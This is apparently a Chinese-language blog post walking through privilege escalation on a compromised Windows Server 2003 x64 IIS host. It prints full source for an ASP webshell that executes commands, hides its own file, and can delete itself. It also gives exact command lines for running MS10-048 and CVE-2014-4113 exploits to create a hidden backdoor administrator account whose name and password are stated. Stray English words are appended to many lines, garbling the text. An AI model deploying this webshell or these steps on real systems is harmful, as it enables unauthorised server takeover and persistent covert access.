在CVE-2014-4113出來後,x64環境下的提權又是一片短暫的光明.在此漏洞披露前,PR/IIS溢出/LPK劫持等對64位版本都無效果,網上公開曾有一個Exp有效,代號爲MS10048x64.git
本文謹記錄x64下可提權的Exp與測試過程.暫不考慮依賴第三方服務(如MSSQL/MYSQL)等的提權github
測試環境: Windows Server 2003 Enterprise x64 Edition - VL IIS 6.0
在測試提權Exp以前,假使咱們已得到一個一句話後門.web
虛擬終端看到權限不足,默默的傳一個cmd.exe,設置好變量後能夠正常執行命令了,甩上最新的CVE-2014-4113的exp先shell
機智的發現沒有任何反應,這在ms10048上也有所體現.64位exp提權與32位提權有所區別,32位下存在虛擬終端無參數提權的exp,即便傳參,也是經過如下方式執行:app
c:\cmd.exe /c c:\exp.exe parms
可是x64下的幾個exp則須要這樣執行:ide
c:\exp.exe c:\recycler\server.exe
手傳大馬可執行Exp,但強迫症的仍是喜歡本身動手豐衣足食(亦能夠稱作重複造輪子XD),kyo327曾在《淺談在webshell下執行命令》中有所說起,先奉上部分代碼窺知一二:函數
<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <% end if %> <% 'exec command Dim path,parms,method,result path=Trim(Request("path")) parms=Trim(Request("parms")) method=Trim(Request("submit")) result="" If path="" Then path="C:\WINDOWS\system32\cmd.exe" If parms="" Then parms="/c " If method="wscript.shell" Then result=shell.exec(path&" "&parms).stdout.readall Elseif method="shell.application" Then set newshell=createobject("shell.application") newshell.ShellExecute path,parms,"","open",0 result="Shell.application Execute OK." Elseif method="self.delete" Then file.attributes = 0 fso.deletefile(file_name) set fso = nothing End If %>
以上爲藉助Wscript.shell與Shell.application兩種方式執行命令,爲增強一點隱蔽性,加入幾行保護代碼(只讀,系統,隱藏):測試
<% 'hidded shell dim file_name file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\") set fso = createobject("scripting.filesystemobject") set file = fso.getfile(file_name) file.attributes = 1+2+4 %>
最後實現效果以下:3d
隱藏屬性:server
左上角顯示支持組件,右側path填寫執行程序路徑(如上傳的cmd或exp),parms填寫參數(cmd執行需/c參數,exp不須要)
三個Button分別表示:以script.shell執行命令/以Shell.application執行命令/腳本自刪除
簡單的一個示例:
以上代碼在此處開源:
https://github.com/le4f/aspexec
MS10048的exploit分32與64兩版本,漏洞存在於xxxCreateWindowEx()函數建立窗口時的本地權限提高.
64位環境下能夠用以執行***後門或提權,首先拿來K8Team的一個無參數添加用戶,經過API添加用戶,在刪除或禁用net1.exe時亦可直接添加:
用戶名k8team$,密碼k8team!@#
藉助AspExec,能夠很方便的提權,上傳exp(ms10048.exe)與添加用戶程序(user.exe)
Path: c:\inetpub\wwwroot\ms10048.exe Parms: c:\inetpub\wwwroot\user.exe
注意不須要/c參數,使用wscript.shell或shell.applicatin依具體環境設置而定,以默認(wscript.shell)爲例,執行後短暫的延遲:
查看目標主機用戶,添加成功
至於user.exe替換成別的後門也都相似的.ms10048影響x64版本主要是Windows2003,對於新版系統仍是測試CVE-2014-4113吧
相較於MS10048,新的exp效果要好不少,Exp一樣分32/64兩個版本,一樣使用user.exe添加帳戶測試:
Path: c:\inetpub\wwwroot\64.exe Parms: c:\inetpub\wwwroot\user.exe
上傳64.exe(exp)執行後回顯以下:
基本沒有明顯延遲,很順利的添加帳號
以上整理僅爲對實際環境模擬測試,順便寫份代碼分享;)
若有錯誤或不足,還望指點.如有新的Exploit出現,筆者也會及時補充測試.
From Le4F'Blog